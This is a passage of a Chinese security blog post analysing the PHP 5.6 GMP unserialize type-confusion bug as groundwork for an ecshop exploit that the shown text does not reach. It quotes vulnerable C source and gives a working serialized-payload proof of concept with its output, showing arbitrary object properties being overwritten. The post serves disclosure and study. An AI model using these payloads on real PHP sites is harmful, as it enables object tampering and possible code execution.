主页 > 网络知识 > 从反序列化到类型混淆漏洞:记一次ecshop实例利用

从反序列化到类型混淆漏洞:记一次ecshop实例利用

本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。

前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。

https://hackerone.com/reports/198734

以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。

GMP类型混淆漏洞

https://bugs.php.net/bug.php?id=70513

漏洞利用条件

php 5.6.x

反序列化入口点

可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)

漏洞详情

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */ { ... ALLOC_INIT_ZVAL(zv_ptr); if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC) || Z_TYPE_P(zv_ptr) != IS_ARRAY ) { zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC); goto exit; } if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) { zend_hash_copy( zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr), (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *) ); }

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */ { zend_object *zobj; zobj = Z_OBJ_P(object); if (!zobj->properties) { rebuild_object_properties(zobj); } return zobj->properties; }

从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。

__wakeup等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。

或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。

首先我们来看一段测试代码

<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } class b{ var $ryat =1; } $obj = new stdClass; $obj->aa = 1; $obj->bb = 2; $obj2 = new b; $obj3 = new stdClass; $obj3->aa =2; $inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit); $obj4 = new stdClass; var_dump($x); var_dump($obj); var_dump($obj2); var_dump($obj3); var_dump($obj4); ?>

在代码中我展示了多种不同情况下的环境。

让我们来看看结果是什么?

array(1) { [0]=> &int(1) } object(stdClass)#1 (3) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=> &int(1) } } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }

我成功修改了第一个声明的对象。

但如果我将反序列化的类改成b会发生什么呢?

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';

很显然的是,并不会影响到其他的类变量

array(1) { [0]=> &object(GMP)#4 (4) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(b)#5 (1) { ["ryat"]=> &object(GMP)#4 (4) { ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> *RECURSION* ["num"]=> string(2) "32" } } ["num"]=> string(2) "32" } } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (1) { ["ryat"]=> int(1) } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#6 (0) { }

如果我们给class b加一个__Wakeup函数,那么又会产生一样的效果。

但如果我们把wakeup魔术方法中的变量设置为2

class obj { var $ryat; function __wakeup() { $this->ryat = 2; } }

返回的结果可以看出来,我们成功修改了第二个声明的对象。

array(1) { [0]=> &int(2) } object(stdClass)#1 (2) { ["aa"]=> int(1) ["bb"]=> int(2) } object(b)#2 (4) { ["ryat"]=> int(1) ["aa"]=> string(2) "hi" ["bb"]=> string(2) "hi" [0]=> object(obj)#5 (1) { ["ryat"]=> &int(2) } } object(stdClass)#3 (1) { ["aa"]=> int(2) } object(stdClass)#4 (0) { }

但如果我们把ryat改为4,那么页面会直接返回500,因为我们修改了没有分配的对象空间。

在完成前面的试验后,我们可以把漏洞的利用条件简化一下。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!